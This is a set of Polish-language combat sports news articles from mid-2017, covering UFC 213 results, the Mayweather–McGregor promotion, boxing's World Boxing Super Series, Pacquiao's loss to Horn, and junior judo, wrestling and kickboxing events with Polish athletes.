26-letni Amerykanin nigdy w karierze nie walczył w pełnym wymiarze czasu. W Las Vegas to się zmieniło. Omielańczuk nie był tłem dla młodszego o osiem lat rywala, jednak Blaydes dyktował warunki. Amerykanin prowadził walkę, szukał sprowadzeń do parteru, ale Polak dobrze radził sobie w obronie. Gorzej było w ataku, 34-latek zadawał jedynie pojedyncze ciosy. Polak nie potrafił znaleźć recepty na rywala i o wszystkim decydowali sędziowie. Żaden z nich nie miał wątpliwości, kto w tym pojedynku zasłużył na wygraną. Blaydes odniósł ósme zwycięstwo w karierze, a trzecie w UFC. Z kolei dla Omielańczuka była to już piąta porażka w najlepszej organizacji MMA na świecie przy czterech triumfach.

Zmiana planów

W Las Vegas pasa w kategorii koguciej, w starciu z Valentiną Shevchenko, miała bronić Amanda Nunes. Obie zawodniczki rywalizowały ze sobą na UFC 196 i na dystansie trzech rund lepsza okazała się Brazylijka. Do rewanżu jednak nie doszło. Na kilka godzin przed galą Nunes trafiła do szpitala. Pojedynek wyłączony z karty walk, a głównym wydarzeniem wieczoru było starcie o pas kategorii średniej pomiędzy Yoelem Romero a Robertem Whittakerem. Po pięciurundowym boju lepszy okazał się 26-letni Australijczyk.

Wyniki UFC 213:

185 lbs: Robert Whittaker pokonał Yoela Romero jednogłośną decyzją (3 x 48-47)

265 lbs: Alistair Overeem pokonał Fabricio Werduma większościową decyzją (2 x 29-28, 28-28)
265 lbs: Curtis Blaydes pokonał Daniela Omielańczuka jednogłośną decyzją (3 x 30-27)
155 lbs: Anthony Pettis pokonał Jima Millera jednogłośną decyzją (3 x 30-27)
135 lbs: Rob Font pokonał Douglasa Andrade przez poddanie w drugiej rundzie

265 lbs: Alexey Oleinik pokonał Travisa Browne przez poddanie w drugiej rundzie
170 lbs: Chad Laprise pokonał Briana Camozziego przez TKO w trzeciej rundzie
185 lbs: Thiago Santos pokonał Geralda Meerschaerta przez TKO w drugiej rundzie
170 lbs: Belal Muhammad pokonał Jordana Meina jednogłośną decyzją (2 x 29-28, 30-27)

145 lbs: Cody Stamann pokonał Terriona Ware jednogłośną decyzją (2 x 30-27, 29-28)
205 lbs: Trevin Giles pokonał Jamesa Bochnovica przez KO w drugiej rundzie

fot. sherdog

KM

Mayweather i McGregor ruszają w trasę

Jeszcze kilka miesięcy temu ta walka wydawała się abstrakcją. 26 sierpnia w Las Vegas niepokonany na bokserskim ringu Floyd Mayweather Jr. zmierzy się z pierwszym w historii mistrzem dwóch kategorii wagowych w UFC Conorem McGregorem. Przed zawodnikami trasa promująca pojedynek.

W tym przypadku nie ma wątpliwości, że główni aktorzy postarają się, aby stworzyć niezapomniane widowisko. Walka budzi ogromne zainteresowanie, a przypuszczalne zyski przyprawiają o ból głowy.

Zdecydowany faworyt

Pojedynek odbędzie się na zasadach bokserskich, a więc nie ma wątpliwości, że Floyd Mayweather Jr. może spać spokojnie. Amerykanin wygrał 49. walk na zawodowym ringu i postanowił zakończyć karierę. Ostatni raz „Money” boksował we wrześniu 2015 roku, kiedy pokonał Andre Berto. Przez wielu Mayweather uchodzi za najlepszego pięściarza ostatnich lat, zdobywał tytuły mistrzowskie w pięciu kategoriach wagowych. Rywalizacja z gwiazdą MMA skusiła go, aby stoczyć jeszcze jedną walkę.

Z kolei Conor McGregor to największa postać UFC. Pierwszy zawodnik, który zdobył pasy w dwóch kategoriach wagowych (piórkowej i lekkiej).  29-letni Irlandczyk potrafi efektownie walczyć i zawsze robi wszystko, aby było o nim głośno. McGregor ma spore umiejętności bokserskie, ale w zestawieniu z Mayweatherem nie wypada najlepiej. Bukmacherzy zdecydowanie wskazują, że faworytem walki jest Amerykanin.

Pojedynek ma przełamać wszelkie schematy. Do ringu wejdą bokser i zawodnik MMA. Obaj mają stworzyć niezapomniane widowisko, które przyciągnie tłumy i stanie się prawdziwym sukcesem finansowym. Dla Conora McGregora starcie z Mayweatherem to szansa na rekordowy zarobek. Irlandczyk może zgarnąć nawet 100 milionów dolarów. Dla porównania, za ubiegłoroczny pojedynek z Nate'm Diazem mistrz UFC zgarnął tylko 3 miliony. Dodatkowo – szacuje się, że dochody z sierpniowego starcia mogą pobić wynik z walki Mayweathera z Manny Pacquiao, który wyniósł ponad 620 milionów dolarów.

Niektórzy zapytają, ile starcie Amerykanina i Irlandczyka będzie miało wspólnego ze sportem. Z pewnością to dobrze zaplanowane przedsięwzięcie, które rysuje się jak rozrywka na najwyższym poziomie. Nie tylko dla fanów boksu i MMA, ale także poszukujących ciekawych wydarzeń.

Trasa promocyjna

Sierpniowa walka Mayweathera z McGregorem wzbudza ogromne zainteresowanie. Ciągle jest o niej głośno, ale główni aktorzy zadbają o to, aby nie zeszła ona z ust milionów przez najbliższe tygodnie. Mayweather i McGregor będą promowali starcie w kilku miastach.

11 lipca zawodnicy mają pojawić się w Los Angeles. Bokser i zawodnik MMA odwiedzą również Houston, Toronto, Nowy Jork i stadion Wembley w Londynie. Dokładne daty konferencji prasowych nie są jednak znane.

KM

Omielańczuk potrzebuje wygranej

W T-Mobile Arenie w Las Vegas Daniel Omielańczuk stoczy dziewiątą walkę w UFC. 8 lipca rywalem polskiego zawodnika będzie groźny Curtis Blaydes.

Podczas gali UFC 213 odbędzie się dwanaście walk. W Las Vegas zaprezentują się m.in. Anthony Pettis, Amanda Nunes, Fabricio Werdum, Yoel Romero czy Alistair Overeem. Oczy polskich kibiców zwrócone będą na Daniela Omielańczuka.

Łatwo nie będzie

Po raz ostatni Daniel Omielańczuk zwycięstwo w UFC świętował blisko rok temu. 13 lipca w Denny Sanford Premier Center w Sioux Falls zawodnik z Warszawy pokonał Alekseja Olejnika. Dla Omielańczuka był to trzeci triumf z rzędu. Zawodnik mógł z nadzieją patrzeć w przyszłość, ale kolejne walki nie ułożyły się po myśli Polaka. W październiku Omielańczuk przegrał przez poddanie w drugiej rundzie ze Stefanem Struve'em, a następnie nie dał rady Timothy'emu Johnsonowi.

„Raz na wozie, raz pod wozem”. Rok temu Daniel Omielańczuk znajdował się w znakomitym położeniu, teraz sytuacja jest zgoła odmienna. Wydaje się, że zawodnikowi grunt pali się pod nogami, ale jak już pokazał – potrafi sobie radzić w trudnych sytuacjach. Do walki z Chrisem de la Rochą na UFC Fight Night 72 w Glasgow przystępował po dwóch porażkach z rzędu. Kolejna mogła zakończyć przygodę Polaka z amerykańską organizacją, jednak ten zastopował rywala w niecałe 50 sekund.

W Las Vegas Omielańczuk będzie musiał wspiąć się na wyżyny. Curtis Blaydes to niezwykle mocny przeciwnik, który występy w UFC rozpoczął w kwietniu ubiegłego roku. W debiucie przegrał z Francisem Ngannou, a następnie wygrał dwa pojedynki. 26-latek łącznie ma na koncie siedem zwycięstw i wszystkie zanotował przed czasem. Amerykanin robi wszystko, aby ponownie doprowadzić do rewanżu z Ngannou, który jest w czołówce kategorii ciężkiej.

Omielańczuk nie będzie faworytem w starciu z Blaydesem. Musi wspiąć się na wyżyny, aby nadal liczyć się w rywalizacji z najlepszymi. Wygrana w walce z Amerykaninem przybliży Polaka do dziesiątej walki w UFC, która mogłaby przypaść na 21 października, kiedy amerykańska organizacja przygotuje wydarzenie w Gdańsku.

Mistrzyni wraca do Las Vegas

9 lipca w T-Mobile Arenie w Las Vegas Amanda Nunes wywalczyła pas mistrzowski w kategorii koguciej. Rok później przystąpi do drugiej obrony tytułu. Ponad pół roku temu rozbiła Rondę Rousey, teraz na jej drodze stanie Valentina Shevchenko. Panie spotkały się w marcu ubiegłego roku, na punkty wygrała Brazylijka. Triumf dał jej możliwość starcia o pas. W nim Brazylijka pokonała Mieshę Tate. Z kolei reprezentantka Peru, po porażce z Nunes, zanotowała dwie wygrane. 29-latka pokonała Holly Holm i Juliannę Penę. 

Niezwykle ciekawie zapowiada się starcie Fabricio Werduma i Alistaira Overeema. Zawodnicy nadal należą do czołówki wagi ciężkiej UFC. Dotychczas Brazylijczyk i Holender walczyli dwa razy, każdy zanotował po wygranej. Czas na rozstrzygające starcie.

KM

Gdynia zostanie oblężona przez judoków

Puchar Europy juniorów w judo ponownie zawita do Gdyni. Przez dwa dni, 8-9 lipca, na tatami zaprezentuje się blisko 400 zawodników.

Kalendarz wskazuje, że lato w pełni, ale pogoda płata nam figle. Bez parasola ani rusz. Ale w najbliższych dniach w hali Gdynia Arena potrzebne będą raczej wachlarze. To za sprawą Pucharu Europy juniorów w judo, który zwiastuje sporo sportowych emocji i wrażeń.

Poprawić wynik

Analiza danych pozwala nam wykazać, czy określone wskaźniki uległy poprawie, nie zmieniły się czy pogorszyły się. Takie porównania stosuje się w gospodarce, ekonomii czy demografii. Ale nic nie stoi na przeszkodzie, aby używać ich na płaszczyźnie sportu. Zwłaszcza jeśli mamy ku temu przesłanki. A w tym przypadku takie są. W ubiegłym toku Gdynia po raz pierwszy gościła Puchar Europy juniorów w judo. Biało-czerwoni zapisali na swoim koncie siedem medali. Julia Kowalczyk (57kg) i Paula Kułaga (+78kg) sięgnęły po srebra, a Tomasz Czerniawski (73kg), Tomasz Zielski (55kg), Daria Tymann (+78kg), Jakub Ozimek (90kg) i Kacper Szczurowski (100kg) zdobyli brązowe krążki.

Przed reprezentacją Polski stoi proste zadanie. Oczywiście – jeśli chodzi o matematykę. Bo na tatami będzie trwała zacięta walka i poprawienie wyniku z ubiegłorocznego Pucharu Europy do najłatwiejszych zadań należeć nie będzie. Trzeba jasno podkreślić, że nasi juniorzy mają potencjał. W tegorocznych startach nie raz stawali na podium. Jakub Ozimek (90kg) stał się królem Lignano. Wygrał tam rok temu, a w kwietniu powtórzył ten sukces. Na ostatnich mistrzostwach Europy nasz judoka zajął piąte miejsce. W dobrej dyspozycji jest również Dominik Majowski, który w trzech startach stawał na podium. Mocna jest Julia Kowalczyk (57kg), która coraz częściej występuje w zawodach seniorskich. W marcu była trzecia w Grand Slam w Baku. Ostatnio wystąpiła w Pucharze Europy w Leibnitz, gdzie sięgnęła po brąz.

Z pewnością wielką stratą jest brak w kadrze Vannesy Machnickiej. Judoczka nie wystąpi w Gdyni z powodu kontuzji kostki.

Prawie 400 zawodników

Rok temu w Gdyni zaprezentowało się blisko 270 judoków. Teraz liczba startujących ma być zdecydowanie większa, obecnie oscyluje wokół 400. W hali Gdynia Arena wystąpi 49 reprezentantów Polski. Licznie na Puchar Europy przybędą również Francuzi, Białorusini, Kanadyjczycy, Niemicy i Ukraińcy.

Zawody będą kolejnym przetarciem przed najważniejszymi imprezami sezonu. We wrześniu w Mariborze odbędą się mistrzostwa Europy juniorów, a miesiąc później w Zagrzebiu rozegrane zostaną mistrzostwa świata.

KM

Czy Głowacki dołączy do Włodarczyka?

Coraz mniej niewiadomych w związku z bokserskim turniejem World Boxing Super Series, który będzie rozgrywany w kategorii junior ciężkiej. Lista uczestników jest już prawie pełna, widnieje na niej Krzysztof „Diablo” Włodarczyk. W gronie rywalizujących w prestiżowym turnieju może znaleźć się również inny Polak – Krzysztof Głowacki.

Ogromne pieniądze, wspaniali pięściarze, którzy mają stworzyć fenomenalne widowisko – tak ma wyglądać projekt Richarda Schaefera i Kalle'a Sauerlanda. Z każdym dniem temperatura wokół World Boxing Super Series rośnie.

Miejsce dla Polaków

Zainteresowanie wśród polskich kibiców boksu wzbudza fakt, że będą mogli zobaczyć w akcji Krzysztofa „Diablo” Włodarczyka. Przez długi czas 35-latek był pierwszoplanową postacią wagi junior ciężkiej. Na swoim koncie zapisał pasy mistrzowskie WBC i IBF. Ten pierwszy tytuł stracił blisko trzy lata temu w Moskwie w starciu z Grigorijem Drozdem. Szybko miało dojść do rewanżu, ale na przeszkodzie stanęły kłopoty zdrowotne Włodarczyka. „Diablo” wrócił na ring w marcu 2016 roku. Od tamtej pory stoczył cztery walki i wszystkie wygrał. Pokonując w maju Noela Gevora przypieczętował swój udział w World Boxing Super Series.

8 lipca w Monako Włodarczyk pozna swojego pierwszego rywala na drodze po Puchar Alego. Prawdopodobnie będzie nim mistrz IBF Murat Gassijew, gdyż „Diablo” jest pretendentem do tytułu wspomnianej federacji.

Czy Włodarczyk będzie jedynym Polakiem, który weźmie udział w prestiżowym turnieju? Przewidziano, że w rywalizacji zaprezentuje się ośmiu pięściarzy. Siedem miejsc jest już zajętych. Nadal trwa walka o ostatnie wolne, które może przypaść Krzysztofowi Głowackiemu. 30-latek z Wałcza udanie powrócił na ring po utracie pasa WBO na rzecz Oleksandra Usyka. W czerwcu w Poznaniu rozbił Hizniego Altunkayę i zanotował 27 zwycięstwo w karierze. Wszyscy doskonale pamiętają jego zacięty bój o pas WBO z Marco Huckiem. Głowacki to mocny pięściarz, który śmiało móże rywalizować w World Boxing Super Series, ale czy tak się stanie pewności nie ma. Kandydatem do udziału w turnieju jest również Mike Perez.

Wielka kasa

50 milionów dolarów – tyle znalazło się w puli turnieju. Za wyjście do ringu w pierwszej walce pięściarze otrzymają 400 tysięcy. A więc jest o co rywalizować. Każdy może podnieść z ringu spore pieniądze.

O laury powalczą: mistrz WBO Oleksander Usyk, Mairis Breidis, czempion WBC, wspominany Gassijew, Yunier Dorticos, mistrz regularny WBA, a także Włodarczyk, Marco Huck i Dmitrij Kudriaszow. Liczymy, że w tym gronie znajdzie się jeszcze jeden Polak.

Daty pierwszych walk poznany już w sobotę. Turniej wystartuje we wrześniu, półfinały powinny odbyć się na początku 2018 roku, a finał w maju.

KM

Dortmundzkie zdobycze zapaśników

Z czterema medalami na koncie Polacy zakończyli rywalizację w zapaśniczych mistrzostwach Europy juniorów w niemieckim Dortmundzie. Do pełni szczęścia zabrakło tylko złota.

Aleksandra Wólczyńska (63kg) była o krok od stanięcia na najwyższym stopniu podium w Dortmundzie, jednak w decydującej walce przegrała z Rosjanką Marią Kuznetsovą.

Lepiej niż w Bukareszcie

W ostatnich latach Dortmund kojarzył nam się ze wspaniałym piłkarskim trio: Piszczek – Błaszczykowski – Lewandowski. To w Borussii, za czasów Jurgena Kloopa, kapitan reprezentacji Polski okrzepł i stał się czołowym snajperem Europy, strzelając w Lidze Mistrzów Realowi Madryt cztery gole. Po dortmundzkich czasach pozostało wspomnienie. Liczba Polaków spadła do jednego, w zespole z Dortmundu nadal gra Łukasz Piszczek.

Na przełomie czerwca i lipca o medale w niemieckim mieście rywalizowali młodzi zapaśnicy. Polscy juniorzy zmagania zakończyli z czterema medalami, srebrnym i trzema brązowymi. To lepszy wynik niż rok temu w Bukareszcie, gdzie Polacy dwa razy stawali na najniższym stopniu podium.

Kolejny brąz do swojej kolekcji dołożyła Beata Kośla (44kg). Rok temu polska zapaśniczka również znalazła się na podium mistrzostw Europy. W Dortmundzie w jej kategorii wagowej wystartowało dziewięć zawodniczek (w Bukareszcie było 11). Początek zmagań w Niemczech nie był udany dla naszej juniorki. Kośla przegrała ze Stefanią Priceputu i musiała obgryzać paznokcie oraz z nadzieją obserwować dalsze poczynania Rumunki. Los chciał, że ta zdobyła złoto, co umożliwiło Polce występ w repasażach. Wygrana dała Kośli przepustkę do walki o brąz, w której uporała się z Esrą Koc.

Aleksandra Wólczyńska była o krok od spełnienia pięknego snu. Krok po kroku zmierzała do finału, eliminując kolejne rywalki. Zapaśniczka Suplesu Kraśnik, która ma na swoim koncie srebro mistrzostw Europy kadetek i kadetów z 2013 roku, w Dortmundzie wygrała trzy pojedynki. Finał jednak dla Rosjanki Marii Kuznetsovej.

Po dwóch wygranych walkach rozbudził się apetyt Agaty Walerzak (48kg). W półfinale Polka musiała uznać wyższość Oksany Livach, która rozdawała karty w pojedynku o wejście do finału. Warto dodać, że Ukrainka sięgnęła po złoto wygrywając z Lisą Ersel. Z kolei Walerzak stanęła na najniższym stopniu podium, brąz wyrwała Aleksandrze Skirenko.

Męski akcent

W gronie medalistów mistrzostw Europy juniorów znalazł się również Jakub Brylewski. Mistrz kraju z LKS Ceramik Krotoszyn przygodę z dortmundzkim turniejem rozpoczął od wygranej, ale potem trafił na mocnego Ormianina. Hovhannes Maghakyan dotarł do finału, co Brylewskiemu pozwoliło rywalizować w repasażach. Dwie wygrane walki i Polak mógł cieszyć się z miejsca na podium.

KM

Trudno łączyć politykę z boksem

Dotkliwie przekonał się o tym Manny Pacquiao, który w Brisbane przegrał na punkty z Jeffem Hornem. Dla 38-letniego Filipińczyka była to siódma porażka na zawodowym ringu. Pacquiao stracił pas mistrza świata organizacji WBO w wadze półśredniej. Z kolei w kategorii ciężkiej na kolejne wyzwania czeka Aleksander Powietkin, który pokonał Andrija Rudenkę.

Miało być szybko, łatwo i przyjemnie, jednak Filipińczyk odbił się od ściany. Poważnie rozgorzała dyskusja na temat zakończenia kariery przez utytułowanego pięściarza.

Australijska sensacja

Według Arystotelesa polityka to sztuka rządzenia, która na pierwszym miejscu stawia dobro wspólne. Manny Pacquiao chce zmieniać swój kraj na lepsze i pomóc Filipińczykom. Dlatego znany bokser zdecydował się zaangażować w politykę i został senatorem. Filipińczycy uwielbiają popularnego „Pacmana” i liczą, że w końcu zostanie prezydentem. Pacuqiao osiągnął sukces, a dorastał w trudnych warunkach. Sięgnął bokserskiego nieba. Pacquiao zapisał się w historii jako pierwszy pięściarz, który był mistrzem świata w ośmiu kategoriach wagowych. 9 kwietnia 2016 roku pokonał Timothy'ego Bradleya i miał pożegnać się z ringiem. Zdobył mandat senatora, ale… postanowił wrócić do boksu. Wygrał z Jessiem Vargasem, dzięki czemu sięgnął po pas WBO w wadze półśredniej.

38-latek polował na 60. zwycięstwo na zawodowym ringu. W Brisbane zmierzył się z o dziewięć lat młodszym Jeffem Hornem. Pacquaio miał udzielić rywalowi lekcji boksu, jednak Australijczyk podszedł bez kompleksów do rywalizacji z doświadczonym przeciwnikiem. Dopiero w piątej rundzie Filipińczyk przebudził się, a w szóstej na jego twarzy, w wyniku zderzenia głowami, pojawiła się krew. Horn robił swoje, a Pacquiao szukał nokautu. Pas powędrował do 29-letniego Australijczyka, który wygrał jednogłośnie na punkty (117:111, 115:113, 115:113).

Porażka Pacquiao wywołała ogromne emocje w świecie boksu. Nie brakuje kontrowersji. 38-letni bokser zadał blisko dwa razy więcej celnych ciosów niż rywal. Pacquiao był skuteczniejszy, jednak musiał pogodzić się z siódmą porażką w karierze. 

Pozostaje mu już tylko polityka? Potwierdza się, że trudno łączyć mandat senatora z karierą bokserską. W najbliższym czasie powinno się okazać, czy Pacquiao zawiesi rękawice na kołku.

Powietkin gotowy na kolejne wyzwanie

Aleksander Powietkin to pięściarz kontrowersyjny. W ubiegłym roku w organizmie Rosjanina wykryto  niedozwolone substancje: meldonium oraz ostarynę. W związku z tą drugą substancją nie doszło do starcia Powietkina z Bermane'em Stiverne'em. Pięściarz podkreśla, że nie zażywał żadnych niedozwolonych substancji. – Udowodnimy to WBC. Jestem czysty, nic nie ukrywam – powiedział Rosjanin.

W sobotę (1 lipca) 37-latek pokonał w Moskwie Andrija Rudenkę i zapisał na swoim koncie 32 zwycięstwo w karierze. Triumf dał mu międzynarodowe pasy WBA i WBO. Teraz Rosjanin chciałby stanąć do rywalizacji z Anthony'm Joshuą i Joseph'em Parkerem.

KM

Medale Szlachty i Kropskiej w Kownie

Sukces reprezentantek Polski w judo. Nikola Szlachta (44kg) i Natalia Kropska (57kg) wywalczyły brązowe medale w mistrzostwach Europy kadetów, które odbywają się w Kownie.

Radość z sukcesu naszych zawodniczek jest tym większa, że rok temu z Vantaa biało-czerwoni wracali z niczym. Ostatnim polskim judoką, który stanął na podium mistrzostw Europy kadetów był Maciej Krogulski (73kg). Dwa lata temu w Sofii zdobył srebro.

Dziewczyny na medal

15-letnia Szlachta mocnym akcentem rozpoczęła tegoroczne starty, czym pokazała, że drzemią w niej spore możliwości. Judoczka okazała się najlepsza podczas Pucharu Europy we włoskiej Follonicy. Później stała jeszcze na podium w Zagrzebiu (trzecie miejsce). Mistrzostwa Europy to impreza wyżej rangi, gdzie zawodnicy spotykają się z ogromną presją. Nie każdy jest w stanie unieść trudy rywalizacji. 15-letnia Polka pokazała w Kownie, że jest mocna. Szlachta wygrała dwa pojedynki i znalazła się w strefie medalowej. W półfinale spotkała się z Aną Viktoriją Puljiz, którą pokonała w tym roku we Włoszech. Chorwatka wzięła jednak rewanż na Polce. Dwa razy zdobyła waza-ari i awansowała do finału, w którym pokonała Tamar Malcę z Izraela. Szlachcie pozostała walka o brązowy medal. 15-letnia Polka przed czasem uporała się z Włoszką Carlottą Avanzato.

Dwa lata temu w Sofii Natalia Kropska (48kg) zajęła siódme miejsce. W ubiegłorocznych mistrzostwach Europy odpadła już w pierwszej rundzie. W Kownie 17-latka, która wygrała tegoroczny Puchar Europy w Berlinie sięgnęła po brąz. Kropska szła jak burza i wygrała trzy walki. W półfinale przeszkodą nie do przejścia dla Polki okazała się Giovanna Fusco. Ostatecznie Natalia Kropska uplasowała się na trzecim miejscu, w starciu o medal pokonała Brytyjkę Josie Steele.

Stodolski odpadł w repasażach

Rok temu Adam Stodolski (73kg) odpadł w trzeciej rundzie po walce z Włochem Giacomo Gambą. W Kownie zaczął od zwycięstwa, jednak w kolejnym starciu, które trwało kilkanaście sekund przegrał z Tizie Gnamienem. W repasażach Polak wygrał dwa pojedynki, ale nie udało mu się pokonać kolejnej przeszkody. Stodolski przegrał z Mattią Prosdocimo, który zdobył brąz.

Na dziewiątych miejscach uplasowały się Aleksandra Gaj i Kinga Wolszczak (+70kg).

Fot. judobase.org

KM

Porażka Kasperskiego w Monte Carlo

Dawid Kasperski stanął przed szansą na wywalczenie tytułu mistrza świata WAKO-Pro. W Monte Carlo nie spełnił jednak marzeń. Lepszy od Polaka okazał się Gregory Grossi.

Zawodnik Punchera Wrocław uchodzi za jednego z najlepszych polskich kickboxerów. W Monako Kasperski miał szansę osiągnąć znaczący sukces, jednak musiał przełknąć gorycz porażki.

Decyzja na korzyść Francuza

Przez Holandię do Monako wiodła droga Dawid Kasperskiego. W marcu mistrz Polski K-1 udał się do Kraju Tulipanów, gdzie trenował wraz z doświadczonym i utytułowanym Nicolaasem Holzkenem. Intensywne przygotowania miały sprawić, że 30 czerwca Kasperski sięgnie gwiazd i odniesie piąte zwycięstwo z rzędu.

Na gali Monte-Carlo Fighting Trophy „Clash of the Titans” w walce o pas mistrzowski Polak spotkał się z Francuzem Gregorym Grossim. – Pas Zawodowego Mistrza Świata czeka na odbiór nowego właściciela – pisał dwa tygodnie przed walką Polak. Mordercza walka w kategorii do 88,6 kg, ogromna ambicja z obu stron i pięć wyczerpujących rund. O zwycięstwie decydowali sędziowie, którzy wskazali na Grossiego. 

W Monte Carlo odbyła się również walka o Puchar Księcia Alberta II. Roman Krylia (+95kg) w drugiej rundzie znokautował Fabrice'a Auriengę z Francji. Efektowne zwycięstwo odniósł także Eddy Nait Slimani (64,5kg). W drugiej rundzie Francuz pokonał Antoine'a Habasha.

Kolejne plany Kasperskiego

Dawid Kasperski nie ma czasu, aby rozpamiętywać porażkę z Grossim. Polak przygotowuje się już do kolejnego startu. Zawodnik Punchera wystartuje w lipcowych Światowych Igrzyskach Sportów Nieolimpijskich, które odbędą się we Wrocławiu.

Zatem Kasperski ma ostatnie dni, aby należycie przygotować się do startu. Impreza rozpoczyna się 20 lipca. Mistrz Polski K-1 przystąpi do rywalizacji w World Games z jednym celem: wywalczyć medal. Podium gwarantują dwie wygrane walki. Warto dodać, że w każdej kategorii wagowej zaprezentuje się po ośmiu zawodników.

Wychowanek Dragona Starachowice nie raz pokazał, że jest czołowym polskim kickboxerem. Zapisał nas swoim koncie wiele medali mistrzostw kraju, w walkach zawodowych prezentował się z dobrej strony. Wygrał cztery z pięciu ostatnich pojedynków. Jako pierwszy Polak wygrał kategorię do 85kg podczas prestiżowej gali Superkombat w Rumunii w 2014 roku.

Fot. Dawid Kasperski Facebook

KM

Wawrzyczek siódmy w Chinach

Patryk Wawrzyczek (66kg) wywalczył siódme miejsce w Grand Prix w judo w chińskim Hohhot. Polak wygrał jedną walkę.

Do Chin udało się ponad 220 zawodników. W Grand Prix wystartował również nasz rodzynek –  Patryk Wawrzyczek.

Treningi w Japonii, start w Chinach

Od kilku lat Patryk Wawrzyczek dostaje kolejne szanse, aby rywalizować w gronie seniorów. Czas płynie nieubłaganie, judoka AZS AWF Katowice ma już 21 lat. Wymagania względem zawodnika rosną. Dwa lata temu Wawrzyczek zdobył brąz mistrzostw Europy juniorów. Również w startach seniorskich judoka stawał już na podium. W ubiegłym roku zajął drugie miejsce w Tallinie, w marcu znalazł się na najniższym stopniu podium w Katowicach. 

W kwietniu Wawrzyczek udał się do Katsuury, aby doskonalić swoje umiejętności. Po dwóch miesiącach intensywnych treningów przyszedł czas na test możliwości. Wawrzyczek wystartował w Grand Prix w Hohhot. W jego kategorii wagowej do rywalizacji zgłosiło się piętnastu zawodników. Na początek Polak trafił na Nathana Katza. Wawrzyczek wygrał z Australijczykiem po dogrywce, jednak w kolejnej walce przegrał z Baskhuu Yondonperenleiem. W repasażach Polak nie potrafił znaleźć sposobu na 53. w światowym rankingu Yuukiego Hashiguchi. 23-letni Japończyk wygrał przed czasem.

Ostatecznie pogromcy Wawrzyczka stanęli wywalczyli brązowe medale. W finale Yakub Shamilov okazał się lepszy od Georgia Zantaraii. Toru Shishime triumfował w kategorii 60kg. Wśród pań najlepsze okazały się: Yujeong Kang (48kg), Song Sim Rim (52kg), Momo Tamaoki (57kg). Trwa rywalizacja w pozostałych kategoriach.

Początek mistrzostw w Kownie

W Kownie trwają mistrzostwa Europy kadetów w judo. Do startu w imprezie zgłosiło się 430 zawodników, w tym ośmiu Polaków.

Jako pierwsza z naszych, na tatami zaprezentowała się Marta Kuras (48kg). 17-latka świetnie rozpoczęła rywalizację w Kownie. Najpierw przed czasem uporała się z Francuzką Anais Perrot, a potem po zaciętej walce pokonała Ukrainkę Annę Ostrovską. W trzecim starciu młoda Polka została zdominowana przez Janę Gussenberg. Kuras czekała rywalizacja w repasażach, gdzie nie powiodło jej się w pełni. W piątym starciu 17-latka przegrała z mocną Włoszką Chiarą Palanca.

W tym roku Kuras prezentowała wysoką dyspozycję. 17-latka wygrała zawody w Zagrzebiu, a w Teplicach zajęła trzecią pozycję. Również w Bielsku była o krok od podium, ostatecznie uplasowała się na piątej lokacie.

Mistrzostwa Europy kadetów potrwają do 2 lipca.

KM

Cierpliwość Joshuy wystawiona na próbę

Po fenomenalnej walce Anthony'ego Joshuy z Władimirem Kliczko, od razu ruszyły spekulacje na temat rewanżu. W ostatnim czasie temat jakby ucichł. Mistrz świata IBF, IBO i WBA czeka na ruch ze strony Ukraińca, ale zaznacza, że nie będzie czekał w nieskończoność.

Rewanżowe starcie Joshuy i Kliczko wydaje się naturalną koleją rzeczy. Dla byłego czempiona wagi królewskiej to ostatnia szansa, aby rywalizować o najwyższe laury. Mówi się, że walka miała odbyć się jesienią, jednak Joshua cały czas czeka na decyzję rywala.

Czy Kliczko skorzysta z możliwości?

W kontrakcie ukraiński bokser zagwarantował sobie prawo do rewanżowego starcia z 27-latkiem. Kwietniowy pojedynek rozbudził apetyty kibiców, gdyż główni aktorzy stworzyli fantastyczne widowisko. Kliczko przegrał drugi pojedynek z rzędu, co pokazało, że czas nie działa na korzyść 41-latka. Ukrainiec zapisał się złotymi literami w historii boksu. Przez dziesięć lat dzierżył w dłoniach mistrzowskie pasy i tak naprawdę nakręcał spiralę zainteresowania wagą ciężką. Na Wembley spotkał godnego następcę. Zarówno Kliczko i Joshua lądowali na deskach, ale w jedenastej rundzie 41-latek musiał pogodzić się z porażką.

Rewanż to sprawa podstawowa. Po kwietniowym pojedynku, natychmiast podjęto ten temat. 27-letni mistrz gotowy jest po raz kolejny spotkać się z Kliczko, jednak czeka na decyzję Ukraińca. Starcie miałoby się odbyć jesienią. Czempion wagi ciężki liczy, że Kliczko szybko się określi. – Czekamy na Kliczkę, ale mamy swoje plany. On wie, że musi podjąć decyzję i powiedzieć, czy chce drugiej walki. Jestem gotów ponownie się z nim spotkać – zapewnił Joshua.

Jeśli  nie Kliczko, to rywalem 27-latka powinien być Kubrat Pulew, który jest obowiązkowym pretendentem do pasa IBF. – Na pewno zaprezentuję się pod koniec roku. Zmierzę się z Kliczko albo Kubratem Pulewem. Na razie czekam na wiadomości i rozpoczynam treningi – powiedział Joshua.

Gdzie?

Wydaje się, że niemożliwe jest, aby nie doszło do rewanżu Joshuy i Kliczko. Po pierwsze, pieniądze a po drugie – znakomita reklama boksu. Dyskutowana jest kwestia lokalizacji rewanżowego starcia. Propozycji nie brakuje. Nigeria, Dubaj, Cardiff, ale w ostatnich dniach na pierwszy plan wysuwa się Las Vegas. Miasto słynące z luksusu podkreślałoby wagę starcia. 

KM

Zapowiedź: FEN 18 Summer Edition

Polska organizacja sztuk walki znów powraca na wybrzeże. Koszalin stanie pod znakiem kolejnej gali FightExclusiveNight, kiedy FEN 18 Summer Edition sprowadzi 12 sierpnia do klatki m.in. gwiazdy piórkowej kategorii wagowej, czyli Kamila Łebkowskiego i Bartłomieja Koperę.

Kamil "Bomba" Łebkowski to jeden z największych bohaterów Fight Exclusive Night i jeden z najbardziej aktywnych zawodników. Z rekordem 16-5 wystąpi w głównej walce wieczoru, a będzie to jego trzecia gala z rzędu. W co-main event natomiast zobaczymy Andrzeja Grzebyka. Podkarpacki fighter zapewne będzie chciał utrzymać „win streak” i zakończyć swój pojedynek zwycięstwem. Na dziesięć wygranych starć, aż siedem Grzebyk zakończył przed czasem. Duże emocje wzbudzą także kolejne nazwiska z karty walk: Bartłomiej "Małpa" Kopera, Aleksander Georgas, Wojciech "Kulkinio" Janusz, Mateusz "Chińczyk" Rębecki, czy powracający do klatki Tomasz „Pająk” Stasiak zapewnią widzom i fanom sztuk walki niezapomniane widowisko.

Gala odbędzie się w Koszalinie w głównej Hali Widowiskowo-Sportowej (ul. Śniadeckich 4, 75-453 Koszalin), a bilety można kupić na http://bilety-fen-mma.com/ od dzisiaj!

